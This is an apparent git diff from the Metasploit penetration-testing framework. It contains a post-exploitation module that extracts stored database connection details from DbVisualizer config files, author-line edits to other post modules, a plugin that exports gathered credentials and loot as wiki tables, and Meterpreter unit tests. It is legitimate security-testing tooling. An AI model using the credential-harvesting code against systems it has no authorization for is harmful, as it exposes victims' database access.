db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]] + end + return db_table + end + + + # New config file parse function + def pareseOldConfigFile(raw_xml) + + db_table = Rex::Ui::Text::Table.new( + 'Header' => "Dbvis Databases", + 'Indent' => 2, + 'Columns' => + [ + "Alias", + "Type", + "Url", + "Userid", + ]) + + dbs = [] + db = {} + dbfound = false + versionFound = false + + # fetch config file + raw_xml.each_line do |line| + + if versionFound == false + vesrionFound = findVersion(line) + end + + if line =~ // + dbfound = false + # save + dbs << db if (db[:Alias] and db[:Url] ) + db = {} + end + + if dbfound == true + # get the alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + db[:Alias] = $1 + end + + # get the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + db[:Type] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Userid>/i) + db[:Userid] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Url>/i) + db[:Url] = $1 + end + end + end + + # Fill the tab + dbs.each do |db| + if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i) + if ::Rex::Socket.is_ipv4?($1.to_s) + print_good("Reporting #{$1}") + report_host(:host => $1.to_s) + end + end + db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ] + end + return db_table + end + + + def findVersion(tag) + found = false + if (tag =~ /([\S+\s+]+)<\/Version>/i) + print_good("DbVisualizer version : #{$1}") + found = true + end + return found + end + +end diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index be692cb345..15efb30639 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post Optionally geolocate the target by gathering local wireless networks and performing a lookup against Google APIs.}, 'License' => MSF_LICENSE, - 'Author' => [ 'Tom Sellers '], + 'Author' => [ 'Tom Sellers '], 'Platform' => %w{ osx win linux bsd solaris }, 'SessionTypes' => [ 'meterpreter', 'shell' ], )) diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb index af1252d1e3..7f7baec633 100644 --- a/modules/post/windows/gather/lsa_secrets.rb +++ b/modules/post/windows/gather/lsa_secrets.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['Rob Bathurst '] + 'Author' => ['Rob Bathurst '] )) end diff --git a/modules/post/windows/gather/netlm_downgrade.rb b/modules/post/windows/gather/netlm_downgrade.rb index c1240cc7fe..3e0e6378f8 100644 --- a/modules/post/windows/gather/netlm_downgrade.rb +++ b/modules/post/windows/gather/netlm_downgrade.rb @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Brandon McCann "zeknox" ', - 'Thomas McCarthy "smilingraccoon" ' + 'Brandon McCann "zeknox" ', + 'Thomas McCarthy "smilingraccoon" ' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => diff --git a/plugins/wiki.rb b/plugins/wiki.rb new file mode 100644 index 0000000000..466609edd1 --- /dev/null +++ b/plugins/wiki.rb @@ -0,0 +1,574 @@ +## +# +# This plugin requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# +## + +module Msf + +### +# +# This plugin extends the Rex::Ui::Text::Table class and provides commands +# that output database information for the current workspace in a wiki +# friendly format +# +# @author Trenton Ivey +# * *email:* ("trenton.ivey@example.com").gsub(/example/,"gmail") +# * *github:* kn0 +# * *twitter:* trentonivey +### +class Plugin::Wiki < Msf::Plugin + + ### + # + # This class implements a command dispatcher that provides commands to + # output database information in a wiki friendly format. + # + ### + class WikiCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + # + # The dispatcher's name. + # + def name + "Wiki" + end + + # + # Returns the hash of commands supported by the wiki dispatcher. + # + def commands + { + "dokuwiki" => "Outputs data from the current workspace in dokuwiki markup.", + "mediawiki" => "Outputs data from the current workspace in mediawiki markup." + } + end + + # + # Outputs database entries as Dokuwiki formatted text by passing the + # arguments to the wiki method with a wiki_type of 'dokuwiki' + # @param [Array] args the arguments passed when the command is + # called + # @see #wiki + # + def cmd_dokuwiki(*args) + wiki("dokuwiki", *args) + end + + # + # Outputs database entries as Mediawiki formatted text by passing the + # arguments to the wiki method with a wiki_type of 'mediawiki' + # @param [Array] args the arguments passed when the command is + # called + # @see #wiki + # + def cmd_mediawiki(*args) + wiki("mediawiki", *args) + end + + # + # This method parses arguments passed from the wiki output commands + # and then formats and displays or saves text according to the + # provided wiki type + # + # @param [String] wiki_type selects the wiki markup lanuguage output to + # use, it can be: + # * dokuwiki + # * mediawiki + # + # @param [Array] args the arguments passed when the command is + # called + # + def wiki(wiki_type, *args) + # Create a table options hash + tbl_opts = {} + # Set some default options for the table hash + tbl_opts[:hosts] = [] + tbl_opts[:links] = false + tbl_opts[:wiki_type] = wiki_type + tbl_opts[:heading_size] = 5 + case wiki_type + when "dokuwiki" + tbl_opts[:namespace] = 'notes:targets:hosts:' + else + tbl_opts[:namespace] = '' + end + + # Get the table we should be looking at + command = args.shift + if command.nil? or not(["creds","hosts","loot","services","vulns"].include?(command.downcase)) + usage(wiki_type) + return + end + + # Parse the rest of the arguments + while (arg = args.shift) + case arg + when '-o','--output' + tbl_opts[:file_name] = next_opt(args) + when '-h','--help' + usage(wiki_type) + return + when '-l', '-L', '--link', '--links' + tbl_opts[:links] = true + when '-n', '-N', '--namespace' + tbl_opts[:namespace] = next_opt(args) + when '-p', '-P', '--port', '--ports' + tbl_opts[:ports] = next_opts(args) + tbl_opts[:ports].map! {|p| p.to_i} + when '-s', '-S', '--search' + tbl_opts[:search] = next_opt(args) + when '-i', '-I', '--heading-size' + heading_size = next_opt(args) + tbl_opts[:heading_size] = heading_size.to_i unless heading_size.nil? + else + # Assume it is a host + rw = Rex::Socket::RangeWalker.new(arg) + if rw.valid? + rw.each do |ip| + tbl_opts[:hosts] << ip + end + else + print_warning "#{arg} is an invalid hostname" + end + end + end + + # Create an Array to hold a list of tables that we want to show + outputs = [] + + # Output the table + if respond_to? "#{command}_to_table" + table = send "#{command}_to_table", tbl_opts + if table.respond_to? "to_#{wiki_type}" + if tbl_opts[:file_name] + print_status("Wrote the #{command} table to a file as a #{wiki_type} formatted table") + File.open(tbl_opts[:file_name],"wb") {|f| + f.write(table.send "to_#{wiki_type}") + } + else + print_line table.send "to_#{wiki_type}" + end + return + end + end + usage(wiki_type) + end + + # + # Gets the next set of arguments when parsing command options + # + # *Note:* This will modify the provided argument list + # + # @param [Array] args the list of unparsed arguments + # @return [Array] the unique list of items before the next '-' in the + # provided array + # + def next_opts(args) + opts = [] + while ( opt = args.shift ) + if opt =~ /^-/ + args.unshift opt + break + end + opts.concat ( opt.split(',') ) + end + return opts.uniq + end + + # + # Gets the next argument when parsing command options + # + # *Note:* This will modify the provided argument list + # + # @param [Array] args the list of unparsed arguments + # @return [String, nil] the argument or nil if the argument starts with a '-' + # + def next_opt(args) + return nil if args[0] =~ /^-/ + args.shift + end + + # + # Outputs the help message + # + # @param [String] cmd_name the type of the wiki output command to display + # help for + # + def usage(cmd_name = "") + print_line "Usage: #{cmd_name} [options] [IP1 IP2,IPn]" + print_line + print_line "The first argument must be the type of table to retrieve:" + print_line " creds, hosts, loot, services, vulns" + print_line + print_line "OPTIONS:" + print_line " -l,--link Enables links for host addresses" + print_line " -n,--namespace Changes the default namespace for host links" + print_line " -o,--output Write output to a file" + print_line " -p,--port Only return results that relate to given ports" + print_line " -s,--search Only show results that match the provided text" + print_line " -i,--heading-size <1-6> Changes the heading size" + print_line " -h,--help Displays this menu" + print_line + end + + # + # Outputs credentials in the database (within the current workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def creds_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','port','user','pass','type','proof','active?']}) + tbl.header = 'Credentials' + tbl.headeri = opts[:heading_size] + framework.db.creds.each do |cred| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? cred.service.host.address + end + unless opts[:ports].nil? + next unless opts[:ports].any? {|p| cred.service.port.eql? p} + end + address = cred.service.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + cred.service.port, + cred.user, + cred.pass, + cred.ptype, + cred.proof, + cred.active + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs host information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def hosts_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['address','mac','name','os_name','os_flavor','os_sp','purpose','info','comments']}) + tbl.header = 'Hosts' + tbl.headeri = opts[:heading_size] + framework.db.hosts.each do |host| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? host.address + end + unless opts[:ports].nil? + next unless (host.services.map{|s| s[:port]}).any? {|p| opts[:ports].include? p} + end + address = host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + host.mac, + host.name, + host.os_name, + host.os_flavor, + host.os_sp, + host.purpose, + host.info, + host.comments + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs loot information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def loot_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','service','type','name','content','info','path']}) + tbl.header = 'Loot' + tbl.headeri = opts[:heading_size] + framework.db.loots.each do |loot| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? loot.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next if loot.service.nil? or loot.service.port.nil? or not opts[:ports].include? loot.service.port + end + if loot.service + svc = (loot.service.name ? loot.service.name : "#{loot.service.port}/#{loot.service.proto}") + end + address = loot.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + svc || "", + loot.ltype, + loot.name, + loot.content_type, + loot.info, + loot.path + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs service information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def services_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','port','proto','name','state','info']}) + tbl.header = 'Services' + tbl.headeri = opts[:heading_size] + framework.db.services.each do |service| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? service.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next unless opts[:ports].any? {|p| service[:port].eql? p} + end + address = service.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + service.port, + service.proto, + service.name, + service.state, + service.info + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs vulnerability information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def vulns_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['Title','Host','Port','Info','Detail Count','Attempt Count','Exploited At','Updated At']}) + tbl.header = 'Vulns' + tbl.headeri = opts[:heading_size] + framework.db.vulns.each do |vuln| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? vuln.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next unless opts[:ports].any? {|p| vuln.service.port.eql? p} + end + address = vuln.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + vuln.name, + address, + (vuln.service ? vuln.service.port : ""), + vuln.info, + vuln.vuln_detail_count, + vuln.vuln_attempt_count, + vuln.exploited_at, + vuln.updated_at, + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Converts a value to a wiki link + # @param [String] text value to convert to a link + # @param [String] namespace optional namespace to set for the link + # @return [String] the formated wiki link + def to_wikilink(text,namespace = "") + return "[[" + namespace + text + "]]" + end + + end + + + # + # Plugin Initialization + # + + + # + # Constructs a new instance of the plugin and registers the console + # dispatcher. It also extends Rex by adding the following methods: + # * Rex::Ui::Text::Table.to_dokuwiki + # * Rex::Ui::Text::Table.to_mediawiki + # + def initialize(framework, opts) + super + + # Extend Rex::Ui::Text::Table class so it can output wiki formats + add_dokuwiki_to_rex + add_mediawiki_to_rex + + # Add the console dispatcher + add_console_dispatcher(WikiCommandDispatcher) + end + + # + # The cleanup routine removes the methods added to Rex by the plugin + # initialization and then removes the console dispatcher + # + def cleanup + # Cleanup methods added to Rex::Ui::Text::Table + Rex::Ui::Text::Table.class_eval { undef :to_dokuwiki } + Rex::Ui::Text::Table.class_eval { undef :to_mediawiki } + # Deregister the console dispatcher + remove_console_dispatcher('Wiki') + end + + # + # Returns the plugin's name. + # + def name + "wiki" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds output to wikitext" + end + + + # + # The following methods are added here to keep the initialize method + # readable + # + + + # + # Extends Rex tables to be able to create Dokuwiki tables + # + def add_dokuwiki_to_rex + Rex::Ui::Text::Table.class_eval do + def to_dokuwiki + str = prefix.dup + # Print the header if there is one. Use headeri to determine wiki paragraph level + if header + level = "=" * headeri + str << level + header + level + "\n" + end + # Add the column names to the top of the table + columns.each do |col| + str << "^ " + col.to_s + " " + end + str << "^\n" unless columns.count.eql? 0 + # Fill out the rest of the table with rows + rows.each do |row| + row.each do |val| + cell = val.to_s + cell = "#{cell}" if cell.include? "|" + str << "| " + cell + " " + end + str << "|\n" unless rows.count.eql? 0 + end + return str + end + end + end + + # + # Extends Rex tables to be able to create Mediawiki tables + # + def add_mediawiki_to_rex + Rex::Ui::Text::Table.class_eval do + def to_mediawiki + str = prefix.dup + # Print the header if there is one. Use headeri to determine wiki + # headline level. Mediawiki does headlines a bit backwards so that + # the header level isn't limited. This results in the need to 'flip' + # the headline length to standardize it. + if header + if headeri <= 6 + level = "=" * (-headeri + 7) + str << "#{level} #{header} #{level}" + else + str << "#{header}" + end + str << "\n" + end + # Setup the table with some standard formatting options + str << "{|class=\"wikitable\"\n" + # Output formated column names as the first row + unless columns.count.eql? 0 + str << "!" + str << columns.join("!!") + str << "\n" + end + # Add the rows to the table + unless rows.count.eql? 0 + rows.each do |row| + str << "|-\n|" + # Try and prevent formatting tags from causing problems + bad = ['&','<','>','"',"'",'/'] + r = row.join("|| ") + r.each_char do |c| + if bad.include? c + str << Rex::Text.html_encode(c) + else + str << c + end + end + str << "\n" + end + end + # Finish up the table + str << "|}" + return str + end + end + end + +protected +end +end diff --git a/spec/lib/rex/post/meterpreter/client_core_spec.rb b/spec/lib/rex/post/meterpreter/client_core_spec.rb new file mode 100644 index 0000000000..ba65b92fdd --- /dev/null +++ b/spec/lib/rex/post/meterpreter/client_core_spec.rb @@ -0,0 +1,53 @@ +require 'spec_helper' +require 'rex/post/meterpreter/client_core' + +describe Rex::Post::Meterpreter::ClientCore do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::ClientCore) + end + + describe "#use" do + + before(:each) do + @response = double("response") + allow(@response).to receive(:result) { 0 } + allow(@response).to receive(:each) { [:help] } + @client = double("client") + allow(@client).to receive(:binary_suffix) { "x64.dll" } + allow(@client).to receive(:capabilities) { {:ssl => false, :zlib => false } } + allow(@client).to receive(:response_timeout) { 1 } + allow(@client).to receive(:send_packet_wait_response) { @response } + allow(@client).to receive(:add_extension) { true } + end + + let(:client_core) {described_class.new(@client)} + it 'should respond to #use' do + expect(client_core).to respond_to(:use) + end + + context 'with a gemified module' do + let(:mod) {"kiwi"} + it 'should be available' do + expect(client_core.use(mod)).to be_true + end + end + + context 'with a local module' do + let(:mod) {"sniffer"} + it 'should be available' do + expect(client_core.use(mod)).to be_true + end + end + + context 'with a missing a module' do + let(:mod) {"eaten_by_av"} + it 'should be available' do + expect { client_core.use(mod) }.to raise_error(TypeError) + end + end + + + end + +end diff --git a/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb new file mode 100644 index 0000000000..4d336b617d --- /dev/null +++ b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb @@ -0,0 +1,41 @@ +require 'spec_helper' +require 'rex/post/meterpreter/extension' +require 'rex/post/meterpreter/extensions/priv/priv' + +describe Rex::Post::Meterpreter::Extensions::Priv::Priv do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Priv::Priv) + end + + describe "#getsystem" do + before(:each) do + @client = double("client") + allow(@client).to receive(:register_extension_aliases) { [] } + end + + let(:priv) {described_class.new(@client)} + it 'should respond to #getsystem' do + expect(priv).to respond_to(:getsystem) + end + + it 'should return itself' do + expect(priv).to be_kind_of(described_class) + end + + it 'should have some instance variables' do + expect(priv.instance_variables).to include(:@client) + expect(priv.instance_variables).to include(:@name) + expect(priv.instance_variables).to include(:@fs) + end + + it 'should respond to fs' do + expect(priv).to respond_to(:fs) + end + + it 'should have a name of priv' do + expect(priv.name).to eq("priv") + end + + end +end diff --git a/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb new file mode 100644 index 0000000000..e36c742a0a --- /dev/null +++ b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb @@ -0,0 +1,33 @@ +require 'spec_helper' +require 'rex/post/meterpreter' +require 'rex/post/meterpreter/extensions/stdapi/ui' + +describe Rex::Post::Meterpreter::Extensions::Stdapi::UI do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Stdapi::UI) + end + + describe "#screenshot" do + + before(:each) do + @client = double("client") + end + + let(:ui) { described_class.new(@client) } + it 'should respond to #screenshot' do + expect(ui).to respond_to(:screenshot) + end + + it 'should return itself' do + expect(ui).to be_kind_of(described_class) + end + + it 'should have an instance variable' do + expect(ui.instance_variables).to include(:@client) + end + + end + +end + diff --git a/spec/lib/rex/post/meterpreter_spec.rb b/spec/lib/rex/post/meterpreter_spec.rb new file mode 100644 index 0000000000..cf917d1032 --- /dev/null +++ b/spec/lib/rex/post/meterpreter_spec.rb @@ -0,0 +1,8 @@ +require 'spec_helper' +require 'rex/post/meterpreter' + +describe MeterpreterBinaries do + it 'is available' do + expect(described_class).to eq(MeterpreterBinaries) + end +end